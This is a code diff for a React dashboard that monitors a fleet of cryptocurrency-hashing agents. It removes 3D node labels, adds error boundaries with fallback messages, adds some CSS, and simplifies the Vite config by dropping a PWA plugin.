import { Canvas, useFrame } from '@react-three/fiber';
|
import { Canvas, useFrame } from '@react-three/fiber';
|
||||||
import { OrbitControls, Stars, Line, Sphere, Text } from '@react-three/drei';
|
import { OrbitControls, Stars, Line, Sphere } from '@react-three/drei';
|
||||||
import { useMemo, useRef } from 'react';
|
import { useMemo, useRef } from 'react';
|
||||||
import * as THREE from 'three';
|
import * as THREE from 'three';
|
||||||
import { Agent } from '../../../types';
|
import { Agent } from '../../../types';
|
||||||
@@ -48,12 +48,6 @@ function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [nu
|
|||||||
<Sphere ref={pulseRef} args={[0.3, 16, 16]}>
|
<Sphere ref={pulseRef} args={[0.3, 16, 16]}>
|
||||||
<meshStandardMaterial color={color} emissive={color} emissiveIntensity={isOnline ? (isHashing ? 2 : 1) : 0.2} wireframe />
|
<meshStandardMaterial color={color} emissive={color} emissiveIntensity={isOnline ? (isHashing ? 2 : 1) : 0.2} wireframe />
|
||||||
</Sphere>
|
</Sphere>
|
||||||
<Text position={[0, -0.6, 0]} fontSize={0.2} color="white" anchorX="center" anchorY="middle">
|
|
||||||
{agent.name}
|
|
||||||
</Text>
|
|
||||||
<Text position={[0, -0.85, 0]} fontSize={0.15} color={color} anchorX="center" anchorY="middle">
|
|
||||||
{isOnline ? `${(agent.hashrate_15m).toFixed(0)} H/s` : 'OFFLINE'}
|
|
||||||
</Text>
|
|
||||||
{/* Connection Line */}
|
{/* Connection Line */}
|
||||||
<Line points={[[0,0,0], [serverPos[0] - position[0], serverPos[1] - position[1], serverPos[2] - position[2]]]} color={isOnline ? '#004455' : '#330000'} lineWidth={1} transparent opacity={0.4} />
|
<Line points={[[0,0,0], [serverPos[0] - position[0], serverPos[1] - position[1], serverPos[2] - position[2]]]} color={isOnline ? '#004455' : '#330000'} lineWidth={1} transparent opacity={0.4} />
|
||||||
|
|
||||||
@@ -101,9 +95,6 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
|
|||||||
<Sphere args={[0.3, 16, 16]}>
|
<Sphere args={[0.3, 16, 16]}>
|
||||||
<meshStandardMaterial color="#ffffff" emissive="#ffffff" emissiveIntensity={2} />
|
<meshStandardMaterial color="#ffffff" emissive="#ffffff" emissiveIntensity={2} />
|
||||||
</Sphere>
|
</Sphere>
|
||||||
<Text position={[0, -1.2, 0]} fontSize={0.35} color="#ffb020" anchorX="center" anchorY="middle">
|
|
||||||
MOTHERSHIP
|
|
||||||
</Text>
|
|
||||||
</group>
|
</group>
|
||||||
|
|
||||||
{/* Agent Nodes */}
|
{/* Agent Nodes */}
|
||||||
|
|||||||
@@ -2,13 +2,28 @@ import React from 'react';
|
|||||||
import ReactDOM from 'react-dom/client';
|
import ReactDOM from 'react-dom/client';
|
||||||
import { BrowserRouter } from 'react-router-dom';
|
import { BrowserRouter } from 'react-router-dom';
|
||||||
import App from './App';
|
import App from './App';
|
||||||
|
import ErrorBoundary from './components/ErrorBoundary';
|
||||||
import './styles/global.css';
|
import './styles/global.css';
|
||||||
import './styles/steampunk-theme.css';
|
import './styles/steampunk-theme.css';
|
||||||
|
|
||||||
ReactDOM.createRoot(document.getElementById('root')!).render(
|
ReactDOM.createRoot(document.getElementById('root')!).render(
|
||||||
<React.StrictMode>
|
<React.StrictMode>
|
||||||
<BrowserRouter>
|
<ErrorBoundary
|
||||||
<App />
|
fallback={
|
||||||
</BrowserRouter>
|
<div className="session-gate">
|
||||||
|
<div className="session-gate-card card">
|
||||||
|
<h1 className="font-display">AetherForge</h1>
|
||||||
|
<p className="form-hint">The dashboard failed to load. Hard-refresh (Ctrl+Shift+R) or clear site data for this host.</p>
|
||||||
|
<button type="button" className="btn btn-primary" onClick={() => window.location.reload()}>
|
||||||
|
Reload
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<BrowserRouter>
|
||||||
|
<App />
|
||||||
|
</BrowserRouter>
|
||||||
|
</ErrorBoundary>
|
||||||
</React.StrictMode>
|
</React.StrictMode>
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -10,6 +10,7 @@ import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualC
|
|||||||
import { AlertBanner, PoolStatusPanel, AIActivityPanel, EarningsEstimator } from '../components/Fleet/FleetPanels';
|
import { AlertBanner, PoolStatusPanel, AIActivityPanel, EarningsEstimator } from '../components/Fleet/FleetPanels';
|
||||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||||
|
import ErrorBoundary from '../components/ErrorBoundary';
|
||||||
import FleetTopologyMap from '../components/Visual/3D/FleetTopologyMap';
|
import FleetTopologyMap from '../components/Visual/3D/FleetTopologyMap';
|
||||||
import MatrixStreamOverlay from '../components/Visual/MatrixStreamOverlay';
|
import MatrixStreamOverlay from '../components/Visual/MatrixStreamOverlay';
|
||||||
import {
|
import {
|
||||||
@@ -246,7 +247,15 @@ export default function DashboardPage() {
|
|||||||
</NeonCard>
|
</NeonCard>
|
||||||
|
|
||||||
<section className="section">
|
<section className="section">
|
||||||
<FleetTopologyMap agents={agents} />
|
<ErrorBoundary
|
||||||
|
fallback={
|
||||||
|
<div className="card">
|
||||||
|
<p className="form-hint">3D fleet map unavailable on this GPU — rest of the deck still works.</p>
|
||||||
|
</div>
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<FleetTopologyMap agents={agents} />
|
||||||
|
</ErrorBoundary>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
<section className="section">
|
<section className="section">
|
||||||
|
|||||||
@@ -33,6 +33,28 @@ body {
|
|||||||
min-height: 100vh;
|
min-height: 100vh;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.session-gate {
|
||||||
|
min-height: 100vh;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
padding: 2rem;
|
||||||
|
background: radial-gradient(ellipse at center, #121a2e 0%, #05070d 70%);
|
||||||
|
}
|
||||||
|
|
||||||
|
.session-gate-card {
|
||||||
|
width: min(420px, 100%);
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.75rem;
|
||||||
|
padding: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.error-boundary-fallback {
|
||||||
|
padding: 1.5rem;
|
||||||
|
margin: 1rem 0;
|
||||||
|
}
|
||||||
|
|
||||||
a {
|
a {
|
||||||
color: var(--accent-blue);
|
color: var(--accent-blue);
|
||||||
text-decoration: none;
|
text-decoration: none;
|
||||||
|
|||||||
@@ -1,36 +1,11 @@
|
|||||||
import { defineConfig } from 'vite'
|
import { defineConfig } from 'vite'
|
||||||
import react from '@vitejs/plugin-react'
|
import react from '@vitejs/plugin-react'
|
||||||
import { VitePWA } from 'vite-plugin-pwa'
|
|
||||||
|
|
||||||
export default defineConfig({
|
export default defineConfig({
|
||||||
plugins: [
|
plugins: [react()],
|
||||||
react(),
|
resolve: {
|
||||||
VitePWA({
|
dedupe: ['react', 'react-dom'],
|
||||||
registerType: 'autoUpdate',
|
},
|
||||||
devOptions: {
|
|
||||||
enabled: true
|
|
||||||
},
|
|
||||||
manifest: {
|
|
||||||
name: 'AetherForge Command Deck',
|
|
||||||
short_name: 'AetherForge',
|
|
||||||
theme_color: '#0d0d12',
|
|
||||||
background_color: '#000000',
|
|
||||||
display: 'standalone',
|
|
||||||
icons: [
|
|
||||||
{
|
|
||||||
src: '/vite.svg',
|
|
||||||
sizes: '192x192',
|
|
||||||
type: 'image/svg+xml'
|
|
||||||
},
|
|
||||||
{
|
|
||||||
src: '/vite.svg',
|
|
||||||
sizes: '512x512',
|
|
||||||
type: 'image/svg+xml'
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
})
|
|
||||||
],
|
|
||||||
server: {
|
server: {
|
||||||
port: 5173,
|
port: 5173,
|
||||||
proxy: {
|
proxy: {
|
||||||
|
|||||||
Reference in New Issue
Block a user